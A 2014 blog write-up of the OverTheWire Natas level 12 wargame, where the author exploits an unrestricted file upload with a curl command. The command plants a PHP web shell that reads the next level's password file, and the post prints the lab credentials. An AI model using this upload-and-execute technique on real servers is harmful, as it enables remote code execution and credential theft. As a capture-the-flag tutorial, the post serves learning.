Saturday 4 October 2014

Wargames - Natas 12

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas12.natas.labs.overthewire.org and take a look at its content.
Apparently things are getting more complex, if you take a look at the website, we now can upload images to the server, this challenge is a simple form that takes a picture and uploads it. The first thing you should do is read the recommended about file uploads, I'll assume you've done so, so let's take a look at the source:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas12</h1> 
<div id="content"> 
<?  

function genRandomString() { 
    $length = 10; 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
    $string = "";     

    for ($p = 0; $p < $length; $p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 

    return $string; 
} 

function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 

function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 

if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?> 

<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
A lot of code, none of it of great importance. All three defined functions are just made to create random strings for the file we upload and the directory it's upload to. After the functions we got some form logic, like always, to handle the request (POST in this case), even this logic isn't of much importance, it gets the file from the request, checks its size and if it's valid, moves it to a random directory, which it then prints so the user knows where his file is.
What really matters here is the form, specifically how (badly) it's used. Going straight to the point, there's an interesting input field (filename), which is hidden, that holds the file name that will be sent to the server, more importantly, it holds the file extension, so even though the image is renamed after upload, the file extension comes from the client side. What we're seeing here is the server letting the user control the extension of the file. On the server side, there's no control on what gets uploaded besides the size of the file. That lack of control is where we can exploit this challenge. Theoretically, we can change filename field, setting it to whatever we like and upload whatever we want as well. Let's try it, as always I'm going to use curl to achieve this, although there are other ways:
echo "<?php passthru('cat /etc/natas_webpass/natas13'); ?>" | curl http://natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3@natas12.natas.labs.overthewire.org/ --form "uploadedfile=@-" --form "filename=exploit.php"
I'll explain this command, since it's a little long. First we echo the contents of the exploit, which in this case is a call to passthru that will call cat for the password, we then pipe it to curl, in it we use the --form argument to tell it that the uploadedfile comes from stdin (@-) and the filename should be exploit.php, only the .php matters actually, the file gets renamed on the server anyway. This call will return the following output:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/qjy5zy62hp.php">upload/qjy5zy62hp.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
We're told that the file was uploaded and where we can access it, let's do so:
curl http://natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3@natas12.natas.labs.overthewire.org/upload/qjy5zy62hp.php
Which will return:
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
And we're done, a single line with the password for natas13.

User natas13
Password jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

A simple file upload exploitation, not much to be said. If you check the recommended reading, you'll find ways to prevent this type of vulnerabilities. The next challenge will try to mitigate this exploitation in a simple but ineffective way.

Never Settle,

<< Previous challenge

No comments:

Post a Comment